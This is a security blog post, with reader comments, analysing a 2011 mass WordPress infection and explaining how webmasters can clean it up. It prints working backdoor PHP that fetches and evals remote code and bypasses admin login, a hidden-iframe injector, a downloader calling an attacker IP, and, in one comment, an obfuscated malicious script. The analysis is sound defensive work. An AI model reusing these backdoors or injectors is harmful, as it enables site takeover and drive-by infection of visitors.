Unmask Parasites - Check your web pages for hidden links, iframes, malicious scripts, unauthorized redirects and other signs of security problems.
Loading site search ...

/tmp/wp_inc or Not Your Typical WordPress Attack

   09 Nov 11   Filed in Website exploits

This post will provide a very detailed and rather technical description of the latest massive WordPress hack. I find it interesting in many ways. Mainly because it’s so atypical.

If you don’t have time to read the whole article, you can head directly to the short description of the attack and then to the Summary section where I talk about what’s new, strange and uncommon in this attack. Or if you are a webmaster of a hacked blog, go to the “To Webmasters” section – it will help you resolve the problem.

According to Unmask Parasites statistics and the help requests I received this weekend, we have a new prevailing website infection that affects WordPress blogs.

Google specifies “” as the source of the problems and currently reports 8,526 infected domains (and given the limited coverage of Google’s data we can safely estimate at least 30,000 infected blogs)

A typical Safe Browsing diagnostic page say something like this:

Malicious software is hosted on 1 domain(s), including


Malicious software is hosted on 3 domain(s), including,,

The infection is detectable by Unmask Parasites.

detected script

Malicious content

Typically, in the <head> section of web pages, you will find a script that looks like this:


Here is the decoded variant:

function MakeFrameEx(){element=document.getElementById('yahoo_api');if(!element){var el=document.create Element('iframe');document.body.append Child(el);'yahoo_api';'1px';'1px';'none';el.src='hxxp://hgdhgd .nl .ai/showthread.php?t=72241732'}}var ua=navigator.userAgent.toLowerCase();
if(((ua.indexOf("msie")!=-1&&ua.indexOf("opera")==-1&&ua.indexOf("webtv")==-1))&&ua.indexOf("windows")!=-1){var t=setTimeout("MakeFrameEx()",1000)}

In the very beginning, you can see an additional layer against admins who are curious enough to decode the script but too naive to believe it’s a legitimate code that uses Yahoo API ;-) .

But if you read further, you will see the code that injects a hidden iframe to Internet Explorer browsers. In this particular case, the iframe load malicious content from hxxp://hgdhgd .nl .ai/showthread.php?t=72241732.

Hackers regularly update the malicious script on compromised sites to change the iframe URL. Here are just a few URLs that I’ve seen during this weekend.

  • hgdch .nl .ai/showthread.php?t=72241732
  • juyfdjhdjdgh .nl .ai/showthread.php?t=72241732
  • kjgfg .nl .ai/showthread.php?t=72241732
  • jnhfj .nl .ai/showthread.php?t=72241732
  • hzdgh .nl .ai/showthread.php?t=72241732
  • hgdhgd .nl .ai/showthread.php?t=72241732
  • hjbh .nl .ai/showthread.php?t=72241732
  • hgdfhd .coom .in/showthread.php?t=72241732
  • unter .myz .info/showthread.php?t=72241732
  • gdasgdsa .c0m .li/showthread.php?t=72241732
  • jopek .fr .nf/showthread.php?t=72241732

All these domains point to the same server in Russia: 95 .163 .66 .209. Or later to 178 .18 .87 .141

By the way, new exotic TLDs are getting popular within cyber criminals: .ai (Anguilla), .li (Liechtenstein) and .nf (Norfolk Island)

How the attack works

Short version

  1. Malicious hackers exploit a vulnerability in WordPress themes and plugins (I suspect the TimThumb vulnerability) to upload a backdoor file.
  2. They use the backdoor file to plant another backdoor code into wp-config.php
  3. They pass a specifically crafted code in requests to compromised blogs. Among other things, that code creates the /tmp/wp_inc file with a malicious JavaScript.
  4. In wp-settings.php they create a functions that loads the content of /tmp/wp_inc into the head section of WordPress pages.

Detailed attack description

Although the TimThumb vulnerability has been discovered more than three months ago and has been patched since then, it remains the most exploitable security hole in WordPress. Hundreds of themes and plugins use this thumbnail utility and it’s hardly possible to upgrade them all (and all the blogs that use them) in three months. At the same time, webmasters of compromised blogs usually remove the malicious code from web pages and update timthumb.php but fail to find and remove all uploaded backdoor file — so even with the new TimThumb, their blogs remain vulnerable to subsequent attacks.


So step #1: Hackers upload a backdoor file to your server. This could happen a few days ago or a couple of months ago. In either case, hackers have access to your site now.

For example, on one infected server, I found the following upd.php file in the wp-content directory

$file = $_GET['file'];
$pass = $_GET['pass'];
$true = 'c0c7c76d30bd3dcaefc96f40275bdc0a';
if ($pass == $true){
$ch = curl_init($file);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$shell = curl_exec($ch);
$tmp = md5(rand(0,10000));
$f = fopen($tmp.'.php',"w");
header("Location: $tmp.php");


This is the first WordPress hack where I see a backdoor code injected into the wp-config.php file. It may be difficult to spot it. Hackers use the same trick that we usually see in tainted .htaccess files: at the very bottom of wp-config.php they add a couple of thousand blank lines, then the following code and then another couple of thousand blank lines.

if (isset($_GET['pingnow'])&& isset($_GET['pass'])){
if ($_GET['pass'] == 'd67d8ab4f4c10bf22aa353e27879133c'){
if ($_GET['pingnow']== 'login'){
$user_login = 'admin';
$user = get_userdatabylogin($user_login);
$user_id = $user->ID;
wp_set_current_user($user_id, $user_login);
do_action('wp_login', $user_login);
if (($_GET['pingnow']== 'exec')&&(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
$fnm = md5(rand(0,100)).'.php';
$fp = fopen($fnm, "w");
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
echo "<SCRIPT LANGUAGE=\"JavaScript\">location.href='$fnm';</SCRIPT>";
if (($_GET['pingnow']== 'eval')&&(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$re = curl_exec($ch);

Here you can see three main actions that can be completed using this backdoor code:

  1. Log into your WordPress blog as admin (pingnow=login)
  2. Copy a remote file to your server and open it in a browser (pingnow=exec)
  3. Execute a php code from a remote file (pingnow=eval)

Here are typical requests to that backdoor in wp-config.php - - [04/Nov/2011:06:47:24 -0600] "GET /?pingnow=eval&file=hxxp:// HTTP/1.1" 200 162 "-" "-" - - [04/Nov/2011:06:47:26 -0600] "GET /?pingnow=eval&file=hxxp:// HTTP/1.1" 200 981 "-" "-" - - [04/Nov/2011:06:49:41 -0600] "GET /?pingnow=eval&file=hxxp:// HTTP/1.1" 200 162 "-" "-"

GET requests to backdoors? Hmm…

Note that requests come form the IP address 91 .196 .216 .20. Remote files also reside on that server. This IP is already known for other WordPress hacks that used the TimThumb vulnerability.


The first request evaluates code from the remote /collect/ping.txt file. Basically it should only print the “‘okey'” message — this means the backdoor code is still there.

The /collect/parse.txt request is more interesting. Here’s the PHP code of parse.txt.

$key = trim($_GET['key']);
$st = $i * 100;
$url = ''. urlencode($key).'&num=100&start='.$st;
echo "$url\n";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
$head = curl_exec($ch);
preg_match_all('/href=(\'|\")http:\/\/(\S*)(\"|\')/', $head, $page_links, PREG_PATTERN_ORDER);
$res = $page_links[2];
foreach($res as $itogo){
if (strpos($itogo, 'google') === false) {echo "http://$itogo\n";}

These requests conduct Google searches and display up to 1,000 search results. In the above logs, they searched for [inurl:ajaxfilemanager jnq]. That search can return links to websites that have an exploitable ajaxfilemanager vulnerability.

So why do they search using hacked sites? The answer is they need thousands of results for hundreds of searches (Google dorks). This amount of search results can only be retrieved using automated tools. But Google forbids automated requests and usually blocks offending IPs after a few dozens of such requests. The workaround is to search from multiple IPs (distributed search). So if they have access to compromised sited on 1,000 of unique servers and each IP can be (temporarily) blocked after say 10 queries (usually more) then hackers can expect to retrieve up to a million search results every days.


Now the main tt.php request:

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'hxxp://91 .196 .216 .20/eu_deb');
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch,CURLOPT_TIMEOUT, 5);
$z = curl_exec($ch);
$t = sys_get_temp_dir();
$f = fopen($t.'/wp_inc',"w");
if (file_exists($t.'/wp_inc'))
echo ('test');

This code downloads the hxxp://91 .196 .216 .20/eu_deb file and copies its content into the wp_inc file in the system’s temporary directory (usually /tmp).

During this past weekend, the eu_deb file contained the malicious “eval(function(p,a,c,k,e,d)…” script. Then its content changed. Right now I can see an HTML code with a hidden link to a doorway on another hacked WordPress blog:

<form method="post" action="?" style="overflow: auto; width: 5pt; height: 1pt; position: absolute; display:none"><A HREF="hxxp://businessactionforafrica .org/?kids" TARGET="_self">kids clothes</A></form>

As you can see, the tt.php requests to the backdoor code updates the injected malicious content. This is how hackers changed the script on infected blogs and this is why most of the infected blogs became “clean” overnight without any action taken by their webmasters (hackers just replaced the malicious script with the spammy link).


OK, the malicious content is in the /tmp/wp_inc file. But how does it make it into WordPress pages? To do it, hackers modify the wp-settings.php file where they add the following code:

function check_wordpress(){
$t_d = sys_get_temp_dir();
if(file_exists($t_d . '/wp_inc')){
readfile($t_d . '/wp_inc');
add_action('wp_head', 'check_wordpress');

You can see the rogue “check_wordpress” function that loads the content of the /tmp/wp_inc file. It is “hooked” to the “wp_head” action. In other words, this function is executed every time when WordPress builds the header part of WordPress pages.

To Webmasters


Most of you will only detect this problem when Google blacklists your site. Check the diagnostic page. If Google mentions “” as the source of the problem then the chances are it’s the infection covered in this post. Keep on reading.

Now that the attackers replaced the injected code with some spammy links, Google will no longer flag your site for malware. So you still need to be able to figure out whether your blog is compromised or not.

Begin with checking integrity of your WordPress files. Check wp-config.php and wp-settings.php for the above mentioned malicious code (1 and 2).

You can also scan your raw access logs for requests from “91 .196 .216 .20” and requests that contain the following strings: “pingnow=eval“, “tt.php“.

Clean up

Remove the malicious code from wp-config.php and wp-settings.php. In case of wp-settings.php, it may be easier to replace it with the file from the official WordPress package. For example, here you can get the official wp-settings.php for WordPress 3.2.1 For other versions, select the appropriate tag (version) here:

Prevent reinfections

1. Remove the backdoor code from wp-config.php if you haven’t done it yet. Hackers have full control over your site while it is there.

2. Find and upgrade all themes and plugins that use vulnerable versions of timthumb.php (1.x). If there are no official upgrades, consider replacing timthumb.php with the latest version:

3. Find and delete all backdoor files that hackers might have uploaded to your site.

3.1 You might want to completely delete wp-admin and wp-includes directories and then restore them from the official WordPress package.

3.2 Compare all files of WordPress themes and plugins with their genuine copies provided by their vendors.

3.3 Check what’s inside the ./cache directories next to timthumb.php files. This is the first location where attackers upload files using the timthumb security hole (of course, those files might be no longer there). Normally, there should be no .php files there.

3.4. Check other directories under wp-content. There should be no .php files below the uploads directory.

3.5 Search for the backdoor file I mentioned in the beginning of this post.

3.6 Scan all files on server for the keywords that can be usually found inside backdoors.

  • eval(base64_decode
  • gzuncompress
  • gzinflate
  • eval(stripslashes
  • edoced_46esab
  • FilesMan

This is not a complete list. There are many elaborate backdoors that you won’t find using these searches, but they can help you find more than 80% of backdoors that I regularly come across.

Note, some of these searches will also return perfectly legitimate files. You’ll have to verify the legitimacy of the found files yourself.

3.7 Scan logs for suspicious requests. It is usually enough to only check POST requests. In WordPress, every POST request to a .php file should be immediately suspicious. The only exceptions are

  • requests WordPress admin interface from your IP address (or addresses of legitimate WordPress users)
  • requests to wp-cron.php from your server’s IP address
  • requests to wp-comments-post.php (readers that post comments)
  • requests to xmlrpc.php.

Call for data: If your blog was affected by this hack and you have raw logs for the whole November (a couple of the last months of raw logs even better), I would like to hear from you. Your logs can help me reconstruct the attack from the very beginning. Thanks for collaboration!

4. Block the “91 .196 .216 .20” IP address. For example, you can manually add something like this to your topmost .htaccess file

order allow,deny
deny from
allow from all

Or you can do it via your host’s Control Panel.

5. Consider disabling execution of .php files in directories where there shouldn’t be any executable files. E.g. wp-content/uploads/ or any images/ directories.

6. If your WordPress administrator’s user name is “admin“, create a new user with the administrator role and remove the “admin” user.

Change passwords of the rest WordPress users. Consider changing MySql password too.

7. Upgrade WordPress to the latest version. The older WordPress you use the more security holes it has.


This was a long technical post. But I hope it was worth it to delve into all those details. It is not your typical WordPress hack. Here we can find many new and uncommon tricks and techniques. They may be a little naive and not as efficient as the tricks that we’ve seen before, but at least I can see some creativity here.

I guess, the buzz around the TimThumb vulnerability helped some new players realize how easy it was to enter the web site hack arena. Imagine that you know that millions of WordPress blogs have this security hole. You only need to hire a PHP developer with some basic knowledge of WordPress who can create a scanner (to find vulnerable blogs), some backdoor scripts and a way to automate the process. That PHP developer probably didn’t have access to common exploit tools and had to reinvent the wheel. That’s why we see so many new tricks.

By the way, here’s my list of what’s uncommon in this attack:

  1. Backdoor code in wp-config.php
  2. Malicious PHP code is not obfuscated. In all files.
  3. Backdoor code in wp-config.php is placed after a couple of thousand blank lines (the trick I previously saw in .htaccess files only)
  4. Using WordPress hooks in wp-settings.php instead on injecting the code directly into theme files (will survive a theme change, but won’t survive a WordPress upgrade)
  5. Using backdoor code to bypass WordPress admin authentication.
  6. GET requests to backdoors.
  7. Injecting malicious content from a file in a system’s temporary directory (/tmp). (You only need one backdoor per server to change the injected code on multiple hacked blogs)
  8. Using backdoors on compromised sites to conduct distributed Google searches.
  9. Changing the injected content from malicious scripts to spammy links.
  10. Hiding links inside an invisible form.
  11. Placing hidden link inside the <head> section


Your comments and additional information on this hack are welcome!

Related posts:

Reader's Comments (21)

  1. |

    This mirrors much of my experience in fixing websites with this hack.

    I would like to add that of the things you mentioned above, two stand out in my mind as must do items (both easy and quick to implement by most anyone):

    * Do this first if you believe your site has been hacked (and is often the first thing I to do when repairing a hacked website):

    3.1 You might want to completely delete wp-admin and wp-includes directories and then restore them from the official WordPress package.

    * This is crazy easy and will prevent a good number of hack attempts cold:

    “5. Consider disabling execution of .php files in directories where there shouldn’t be any executable files. E.g. wp-content/uploads/ or any images/ directories.”

    You can do this in seconds by simply adding this text to your .htaccess file in those directories:
    # Makes scripts appear as text. Good for image only or upload directories
    Addhandler text/plain .pl .cgi .php .py .jsp .asp .shtml .sh

    Thank you for the awesome write up!
    Jim Walker
    The Hack Repair Guy

  2. |

    […] There is an estimation that 30,000 infected blogs are touched by this atypical massive WordPress Attack. The attack is automated after exploiting  a vulnerability in WordPress themes and plugins. So, I think our website got infected by the hosting server. Here are  more details that I won’t talk about here:  servers got infected by the backdoor, the relationship of the TimThumb ex-Worpress 0day to this attack, the importance of  the backdoor code injected into the wp-config.php, the secrect behind the Distributed Google search leaded by attackers and what we can find else in the mysterious wp_inc. I advice you to read this: . […]

  3. |

    This is a great write-up, i wanna thank you for the effort you made up to write this treasure article ;)

  4. |

    […] interested in the technical details of my WordPress infection, Denis was so kind enough to post an article about […]

  5. |

    Great article Denis & thanks for your help!

  6. |

    Thank you so much! I’m in trouble with this shitty malware for about a month now. My routine the last days:

    -Wake up
    -Drink Coffee
    -Start overwriting all WordPress Files

    Again: Thank you!

  7. |

    I got this problem:

    “<a HREF=”hxxp://businessactionforafrica .org/?kids” rel=”nofollow”>kids clothes</A>”.

    I followed the instructions and thank you for those, but there is something I couldn’t find.

    I found the code where the had was hooked but I could find the “wp_inc” file anywhere. Where are the tmp directory usually located?

    / Tommy

    • |

      It’s usually in /tmp/wp_inc. Note, that /tmp is not under your account. It’s at the root of the server’s. You can only see it via command line tools (e.g. SSH) or using some programming.

      Anyway, you should not care about that file as long as you’ve removed the malicious code from wp-settings.php and wp-conging.php.

      P.S. Note, this very attack has changed and it began infect “index.php” files and “footer.php” in WP themes. You might want to look for code like “eval(gzuncompress(base64_decode” there.

  8. |

    I have such code (“eval(gzuncompress(base64_decode” ) on my index.php but nothing in my footer.php.

    I tried to replace my index.php but I got the same code in my new index.php file aswell. Should it be any ““eval(gzuncompress(base64_decode” code in my index.php?

    • |

      The should be no such code in index files. You can compare them with the files from the official WordPress package.

      Can I ask you to
      1. send me that infected index.php file
      2. Do you have raw access logs? I’d like to take a look at them too.

      You can use this contact form


  9. |

    So hackers desided to go in easy way with dфmaging source code of site. That was promted by Search Engines, that make large step in battle with black hat seo tricks and in last times there are allmost no search poisoning with malicious URL!

  10. |

    If you want to assess your vulnerability, try this plugin:

    Saved me a lot of time

  11. |

    After any URL in my website, I see strange words and characters: something like that!

    What’s that!! And how can be fixed without having my database restored?

    Any feedback is appreciated

  12. |

    […] Install a blogging system.  Well, if you are reading this, you might have guessed that I went with WordPress. I’ve looked at a number of other systems out there such as Tumblr, Drupal, and considered building my own CMS with Ruby on Rails. In the end, I figure that Drupal is great but it would take a long time to set it up to look how I want, and I want to focus on content. Tumblr looks good, but I’d like to host it all myself. Building my own CMS would be a fun exercise, and later I might write a tutorial on how to do so, but in the long term, I’m more focused on security and homegrown systems dont have as many eyes reviewing the source code to find security vulnerabilities. Using a mature product such as WordPress makes sense for me. I just need to watch what plugin I install ( timthumb, I’m looking at you) […]

  13. |

    I got hit just a couple of days ago.
    Last night i realized that Opera flagged my site as Malware infected (via Yandex). I was getting a lot of Avira alerts for JS/Infected.C when accessing my home page.
    I did free scan, it did find some stuff that loks like this:

    var _0x4470=["\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2E\x6B\x29\x3B\x61\x20\x32\x3D\x31\x2E\x65\x28\x27\x63\x27\x29\x3B\x32\x2E\x66\x3D\x27\x35\x27\x3B\x32\x2E\x68\x3D\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\x3D\x27\x2B\x34\x2B\x27\x26\x6D\x3D\x27\x2B\x38\x2B\x27\x26\x6E\x3D\x27\x2B\x37\x3B\x61\x20\x33\x3D\x31\x2E\x6F\x28\x27\x33\x27\x29\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x69\x66\x7C\x73\x63\x72\x69\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x39\x31\x7C\x31\x39\x36\x7C\x36\x34\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}

    However sucuri only sees files that are immediately available from the page. Today I stumbled on your article (for which many thanks!), and did find injected code in wp-config.php, also I found upd.php file in the wp-content directory. wp-settings.php appeared to be clean, but I updated wordpress to 3.3.1 last night, so that might have did it.
    When I manually scanned my server for malicious js snippet above, I found that nearly all my js files got affected – close to 600 files. Including those in subdirectories, containing non-wordpress stuff (testing sites), one- using Opencart, the other custom Php/mySQL solution.

    Unfortunately I do not have raw access logs, but to note – those modified PHP files were dated 06 Oct 2011.

  14. |

    Same thing happend, i replaced admin and include folder, also replaced every plugin that i have. But i never had /tmp/wp_inc file and also didnt find any code in wp-config and wp-settings. But problem was exactly the same.

    I will let you know if the problem is fixed.Access log is 980MB so it wont help :)

    One more thing that i think is really helpfull and maybe you should include it in article.
    There is plugin called WordPress file monitor plus, it monitors any change or adding of new files in your WP directory. So once you fix this problem, you should probably install this plugin as it will let you know if any files have been changed, and can also send you email when that happens.

    • |

      Hi Goran,

      This attack changed a lot since August (when it really began). What I described in this article is only a relatively short period in life of this attack. It mutates.

      > Access log is 980MB so it wont help :)

      If the logs encompass a long period of time (e.g. since August), it might be beneficial to analyze them. 980Mb is not that big. If you provide a download link, I could take a look at them.

  15. |

    I found your article when I was search for help regarding securing my wordpress websites.
    All my sites has been hit by some .ru redirect malware… it adds some redirects in the .htaccess file and no matter how many times I try to delete it, it comes again…

    On running a scan I found that they have added some codes to my wp-settings file… which looks like this..


    So I was wondering if this is actually a wordpress code or can i simply delete this?

  16. |

    what if i download all posts as an xml file, wipe out wordpress installation, reinstall wordpress and upload xml file ? Will all the malware and malicious codes be erased without trace ?

    • |

      Not sure about xml, but since this particular hack doesn’t affect the database, it should work.

      Although you don’t have to import/export posts. Just remove all files and reinstall WordPress with the same database. Of course, if you find it easier than trying to clean up individual files.

      In either case, you’ll need to close the security hole that helped the attacker break into your site.